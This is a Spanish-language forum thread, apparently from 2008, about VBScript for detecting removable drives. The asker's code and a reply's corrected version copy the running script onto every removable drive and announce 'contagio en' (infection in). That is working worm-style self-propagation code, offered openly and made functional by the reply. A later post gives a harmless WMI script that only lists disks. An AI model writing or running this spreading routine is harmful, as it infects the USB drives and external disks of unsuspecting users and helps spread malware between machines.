Buenas tardes, Me pregunto como es el script correcto para reconocer si hay una o unas unidades extraibles como pendrive, hd externos, tarjetas, etc...
he hecho este codigo pero no me funciona.. :
Dim FSOvar
Dim Uni
Set FSOvar = createobject("scripting.filesystemobject")
Set Uni = FSOvar.drives
For each x in Uni do
L = x.Drivesletter
if L = true then Objfso.copyfile ".\archivo.vbs",&L&":\"
msgBox "contagio en " &L&
exit do
End if
next
Esta bien asi.?? :-\
He intendao varios codigos pero creo que este es el mas estable.. Si funcionara... :¬¬
Si alguien puede ayudarme se lo agradeceria..
SALUD.O.S
Buenas... he de decir, que tu code necesita muchas mejoras :P, aquí va...
Set FSOvar = createobject("scripting.filesystemobject")
Set uni = FSOvar.drives
For each x in uni
If x.driveletter <> "A" and x.drivetype = 1 then
FSOvar.copyfile wscript.scriptfullname, x.driveletter &":\"
msgbox "contagio en " & x.driveletter
End If
Next
En lugar de ultilizar el nombre del script, utilizo wscript.scriptfullname que tiene la ruta completa del script en ejecución.
Y además, en el IF, utilizo drivetype = 1, ya que el tipo de disco 1 es extraíble :P
Saludos ;)
O tambien puedes usar este, este creara un tmp, donde dira todas la unidades que encuentra..
On Error Resume Next
Const ForAppending = 8
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile("Extraible.tmp")
Set objLogFile = objFSO.OpenTextFile("Extraible.tmp", ForAppending, True)
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
For Each objDisk in objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
If objDisk.DriveType = "2" Or objDisk.DriveType = "3" Then
objLogFile.Write( objDisk.DeviceID)
objLogFile.writeline
End If
Next
salu2!
Cita de: washanwer en 30 Octubre 2008, 21:32 PM
O tambien puedes usar este, este creara un tmp, donde dira todas la unidades que encuentra..
On Error Resume Next
Const ForAppending = 8
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile("Extraible.tmp")
Set objLogFile = objFSO.OpenTextFile("Extraible.tmp", ForAppending, True)
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
For Each objDisk in objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
If objDisk.DriveType = "2" Or objDisk.DriveType = "3" Then
objLogFile.Write( objDisk.DeviceID)
objLogFile.writeline
End If
Next
salu2!
Principal desventaja... si estas en una pc sin privilegios, el utilizar el wmi puede dar problemas y puede que no funcione, fuera de eso es muy buena opción ;)
Saludos